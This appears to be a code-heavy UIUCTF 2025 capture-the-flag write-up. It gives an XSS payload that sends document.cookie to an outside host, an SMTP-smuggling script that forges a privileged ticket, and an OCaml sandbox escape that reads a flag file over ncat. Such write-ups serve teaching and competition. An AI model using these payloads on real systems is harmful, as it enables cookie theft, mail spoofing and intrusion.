UIUCTF 2025 wp

${String(value).replace('"', """)}

"" autofocus onfocus="fetch('<https://xx/?'> + document.cookie)">

smtplib._fix_eols = return_unchanged
smtplib._quote_periods = return_unchanged

ending_count = message_data.count(b'\\r\\n.\\r\\n')
if ending_count != 1:
	raise ValueError("Bad Request")

MAIL FROM: [email protected]\\r\\n
RCPT TO: test\\r\\n
DATA\\r\\n
From: [email protected]\\r\\n
Subject: test\\r\\n
X-Ticket-ID: leader\\r\\n

import requests
import time

BASE_URL = "<https://inst-1bb31567b335735e-supermassive-black-hole.chal.uiuc.tf>"
def submit_ticket():
    subject = "\\n.\\r\\nMAIL FROM: [email protected]\\r\\nRCPT TO: test\\r\\nDATA\\r\\nFrom: [email protected]\\r\\nSubject: test\\r\\nX-Ticket-ID: leader\\r\\n"
    data = {
        "subject": subject,
        "message": "testmessage"
    }
    response = requests.post(
        f"{BASE_URL}/submit_ticket", 
        data=data
    )
    print(response.text)

def check_response(ticket_id):
    try:
        response = requests.get(
            f"{BASE_URL}/check_response/{ticket_id}",
            timeout=10
        )
        return response.json()
    except:
        return None

def main():
    submit_ticket()
    time.sleep(5)
    response_data = check_response("leader")
    print(response_data)

if __name__ == "__main__":
    main()

Error: (250, b'OK')
{'body': 'X-Ticket-ID: 3794d4cd-71e9-4a19-bcac-62f3b190affd\\r\\n\\r\\ntestmessage\\r\\n', 'from': '[email protected]', 'processed_by': 'it_bot', 'response': 'C-Suite ticket received! Will escalate immediately!\\nuiuctf{7h15_c0uld_h4v3_b33n_4_5l4ck_m355463_8091732490}', 'subject': 'test', 'timestamp': 1753517824464}

(*获取系统函数*)
external sys_open : string -> 'a list -> int -> int = "caml_sys_open"
external open_descriptor_in : int -> in_channel = "caml_ml_open_descriptor_in"
external open_descriptor_out : int -> out_channel = "caml_ml_open_descriptor_out"
external ml_input : in_channel -> bytes -> int -> int -> int = "caml_ml_input"
external ml_output : out_channel -> bytes -> int -> int -> unit = "caml_ml_output"
external create_bytes : int -> bytes = "caml_create_bytes"

let () =
  let in_fd = sys_open "/pwn/flag.txt" [] 0 in
  let ic = open_descriptor_in in_fd in
  let buf = create_bytes 100 in
  let bytes_read = ml_input ic buf 0 100 in
  let oc = open_descriptor_out 1 in
  let () = ml_output oc buf 0 bytes_read in
  ()

(echo 'external sys_open : string -> '\\''a list -> int -> int = "caml_sys_open";; external open_descriptor_in : int -> in_channel = "caml_ml_open_descriptor_in";; external open_descriptor_out : int -> out_channel = "caml_ml_open_descriptor_out";; external ml_input : in_channel -> bytes -> int -> int -> int = "caml_ml_input";; external ml_output : out_channel -> bytes -> int -> int -> unit = "caml_ml_output";; external create_bytes : int -> bytes = "caml_create_bytes";; let () = let in_fd = sys_open "/pwn/flag.txt" [] 0 in let ic = open_descriptor_in in_fd in let buf = create_bytes 100 in let bytes_read = ml_input ic buf 0 100 in let oc = open_descriptor_out 1 in let () = ml_output oc buf 0 bytes_read in ();;' | base64 -w0; echo) | ncat --no-shutdown --ssl nocaml.chal.uiuc.tf 1337